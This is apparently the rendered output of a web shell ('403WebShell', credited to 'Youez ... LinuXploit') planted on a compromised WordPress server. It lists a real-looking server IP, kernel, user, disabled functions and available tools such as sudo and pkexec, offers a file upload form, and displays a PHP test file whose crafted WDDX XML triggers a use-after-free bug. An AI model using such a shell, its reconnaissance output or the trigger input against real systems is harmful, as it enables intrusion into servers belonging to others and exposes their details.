WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.

Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data

403WebShell403Webshell

Server IP : 202.131.237.196 / Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /www/server/php/72/src/ext/wddx/tests/

Upload File :

[ Back ]

Current File : /www/server/php/72/src/ext/wddx/tests/bug71587.phpt

--TEST--
Bug #71587 (Use-After-Free / Double-Free in WDDX Deserialize)
--SKIPIF--
<?php
if (!extension_loaded("wddx")) print "skip";
?>
--FILE--
<?php

$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
    <array>
         <var name='ML'></var>
            <string>manhluat</string>
         <var name='ML2'></var>
         	<boolean value='a'/>
         <boolean value='true'/>
    </array>
</wddxPacket>
EOF;

$wddx = wddx_deserialize($xml);
var_dump($wddx);
// Print mem leak
foreach($wddx as $k=>$v)
	printf("Key: %s\nValue: %s\n",bin2hex($k),bin2hex($v));

?>
DONE
--EXPECTF--
array(2) {
  [0]=>
  string(8) "manhluat"
  [1]=>
  bool(true)
}
Key: 30
Value: 6d616e686c756174
Key: 31
Value: 31
DONE

Youez - 2016 - github.com/yon3zu
LinuXploit